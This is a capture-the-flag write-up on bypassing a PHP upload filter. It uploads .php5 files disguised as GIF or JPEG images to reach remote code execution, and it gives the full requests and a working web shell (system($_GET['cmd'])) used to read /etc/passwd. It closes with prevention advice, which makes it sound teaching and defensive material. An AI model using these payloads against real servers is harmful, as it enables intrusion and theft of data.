Misc CTF - Upload Restrictions Bypass

— Written by — 7 min read

This challenge highlight the potential risks of bad upload handling and how it can lead to remote code execution on server. In this writeup will go back to the basics and discuss the most common ways to bypass upload restrictions to achieve RCE.

Tl;Dr: The upload server don’t check correctly the file type of uploaded images. It’s possible to bypass the filter by uploading php5, GIF, or JPEG file containing PHP commands that get executed by the server.

Alright! Let’s get into the details now!


Recon

Opening the challenge display the following website:

look at me misc ctf

Once we upload an image we can see it being stored on the server:

image upload misc ctf

While looking at the request information we notice the app is running PHP 5. This might come useful later:

1
2
3
4
5
6
7
$ curl http://misc.ctf:33432/ -I
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 17 Jun 2020 08:24:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.40

Sending PHP files

So far we know that the file we send is being stored on the server and the server is running PHP. With those informations we can imagine one way to abuse this upload form: If we could manage to send PHP files we could potentially execute our own PHP script on the server and get full control of it.

Let’s see how we can do that.

First to have a file executed as PHP we need this file to have a valid PHP extension to be recognised as such by the server.

Let’s edit the request made when uploading a file by changing filename parameter to see if we can change our image file to have a .php extension:

1
2
3
4
5
6
7
8
9
10
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
--X
Content-Disposition: form-data; name="image"; filename="1591801133556.php"
Content-Type: image/jpeg
ÿØÿà�JFIF����ÿþ�Compressed by jpeg-recompressÿÛ""*%%*424DD\"*%%*424DD\ÿÂÿÄ
/Òóêaó|ª3¥}ZóQO 7-ñCÒßUÝÝ{cót;£òÌzRãÿÄÿÚÿÄÿÚÿÄ1"$Qr%023ASTcÿÚý«Ê|~ YßZE6ÙHè²Òà(¤\"r«¬£u°übnG³Ø=}MzMb{³äÐ\rM¤z{h¼EÁd¢øëè~˪kÊlZPÚE°fãc"#¢óDM"
--X--

And bummer the server return to us a 400 Bad Request.

After a few different tries it’s easy to notice that the server is using a blacklist and not a whitelist of “valid” file extension since it’s possible to upload .xyz, .phhp, .html and so on.

So now we know that the server is blacklisting .php extension. And as with every blacklist we know that something will probably be forgotten…

Bypassing file extension restriction

Firstly it’s good to know that not only .php file gets interpreted as PHP by servers, there is some other less used extensions that gets interpreted as-well:

  • .phtml
  • .php3
  • .php4
  • .php5
  • .inc

Maybe one of those extension is not blacklisted by the server ?

Since we know the server is running PHP5 let’s give a try to .php5 extension:

1
2
3
4
5
6
7
8
9
10
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
--X
Content-Disposition: form-data; name="image"; filename="1591801133556.php5"
Content-Type: image/jpeg
ÿØÿà�JFIF����ÿþ�Compressed by jpeg-recompressÿÛ""*%%*424DD\"*%%*424DD\ÿÂÿÄ
/Òóêaó|ª3¥}ZóQO 7-ñCÒßUÝÝ{cót;£òÌzRãÿÄÿÚÿÄÿÚÿÄ1"$Qr%023ASTcÿÚý«Ê|~ YßZE6ÙHè²Òà(¤\"r«¬£u°übnG³Ø=}MzMb{³äÐ\rM¤z{h¼EÁd¢øëè~˪kÊlZPÚE°fãc"#¢óDM"
--X--

Bingo! The file got uploaded and is now accessible on the server:

1
2
3
4
5
6
7
$ curl http://misc.ctf:33432/1592382731183.php5 -I
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 17 Jun 2020 08:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.40

Note: It was also possible to use capital PHP extension to bypass the filter (.PHP, .pHp, etc…)

Alright we have a file that can get executed as PHP, now we need to put actual PHP content in it.

Let’s give a try like before:

1
2
3
4
5
6
7
8
9
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
--X
Content-Disposition: form-data; name="image"; filename="1591801133556.php5"
Content-Type: image/jpeg
<?php phpinfo();
--X--

And again we get hit by a 400 Bad Request. Seems like there is another check on the file content itself now…

Bypassing File Content Check

If we check the PHP documentation on how to check a file for its type we stumble upon mime_content_type():

mime_content_type
Detect MIME Content-type for a file
https://www.php.net/manual/en/function.mime-content-type.php

Well so far we know for sure that GIF and JPEG files are allowed. Can we possibly snuggle PHP into one of those two files?

Including PHP in a GIF file

Reading through the GIF Specification we found that the Comment Extension allows to put a comment in the GIF at the end of the file. We should probably be able to put PHP code there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    7 6 5 4 3 2 1 0        Field Name                    Type
+---------------+
0 | 0x21 | Extension Introducer Byte
+---------------+
1 | 0xFE | Comment Label Byte
+---------------+

+===============+
| <? |
N | phpinfo(); | Comment Data Data Sub-blocks
| |
+===============+

+---------------+
0 | ; | Block Terminator Byte
+---------------+

Since PHP mime_content_type() function validate a file as being a “GIF” simply if the GIF header is present, we should be able to append PHP code to the GIF Header and bypass the upload restriction. Let’s give it a try.

The simplest way is to append our PHP code to the GIF89a header: GIF89a;<?=phpinfo();.

Let’s send that:

1
2
3
4
5
6
7
8
9
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
--X
Content-Disposition: form-data; name="image"; filename="1592382731186.php5"
Content-Type: image/gif
GIF89a;<?=phpinfo();
--X--

This time the file gets uploaded successfully. We can find our phpinfo being executed when opening the file:

phpinfo gif misc ctf

Including PHP in a JPEG file

Following the same idea it’s also possible to append PHP into a JPEG image.

The JPEG header being slightly less complicated than the GIF89a of GIF we can append our PHP code to an existing JPEG image to keep it simple:

1
$ echo "<?=phpinfo();" >> myimage.jpg

And upload it as before:

1
2
3
4
5
6
7
8
9
10
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
--X
Content-Disposition: form-data; name="image"; filename="1592382731190.php5"
Content-Type: image/jpeg
ÿØÿà�JFIF����ÿþ�Compressed by jpeg-recompressÿÛ""*%%*424DD\"*%%*424DD\ÿÂÿÄ
/Òóêaó|ª3¥}ZóQO 7-ñCÒßUÝÝ{cót;£òÌzRãÿÄÿÚÿÄÿÚÿÄ1"$Qr%023ASTcÿÚý«Ê|~ YßZE6ÙHè²Òà(¤\"r«¬£u°übnG³Ø=}MzMb{³äÐ\rM¤z{h¼EÁd¢øëè~˪kÊlZPÚE°fãc"#¢óDM"<?=phpinfo();
--X--

The file gets uploaded successfully. And even though the output contains a bit more rubbish (the actual JPEG bytes), our PHP code get successfully executed:

phpinfo jpeg misc ctf

Using PHP for Remote Code Execution

Having a way to execute PHP on the serveur make it easy to escalate to Remote Code Execution on the server.

We can use for example the system() function of PHP:

system
system — Execute an external program and display the output
https://www.php.net/manual/en/function.system.php

Let’s create a new malicious file and upload it:

1
2
3
4
5
6
7
8
9
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
--X
Content-Disposition: form-data; name="image"; filename="1592382731199.php5"
Content-Type: image/gif
GIF89a;<?=echo(system($_GET['cmd']));
--X--

And now we should be able to pass our command as cmd parameters to get executed on server side:

1
2
3
4
5
$ curl "http://misc.ctf:33433/1592382731199.php5?cmd=cat/etc/passwd"
GIF89a;root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]

And finally while looking for the Look at Me app source code we find the flag:

1
2
3
4
5
6
$ curl "http://misc.ctf:33433/1592382731199.php5?cmd=cat%20index.php"
GIF89a;<?php
// flag{4 IM493 k4N Hid3 PHp!}
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['image'])) {
$file = $_FILES['image']['tmp_name'];
[...]

References

Prevention Methods

  • Use a server-generated filename if storing uploaded files on disk.
  • Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
  • Enforce a whitelist of accepted, non-executable file extensions.
  • If uploaded files are downloaded by users, supply an accurate non-generic Content-Type header, the X-Content-Type-Options: nosniff header, and also a Content-Disposition header that specifies that browsers should handle the file as an attachment.
  • Enforce a size limit on uploaded files (for defense-in-depth, this can be implemented both within application code and in the web server’s configuration).
  • Reject attempts to upload archive formats such as ZIP.
  • Uploaded directory should not have any “execute” permission and all the script handlers should be removed from these directories.
  • All the control characters and Unicode ones should be removed from the filenames and their extensions without any exception.

Real Life Example


That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFMisc
, ,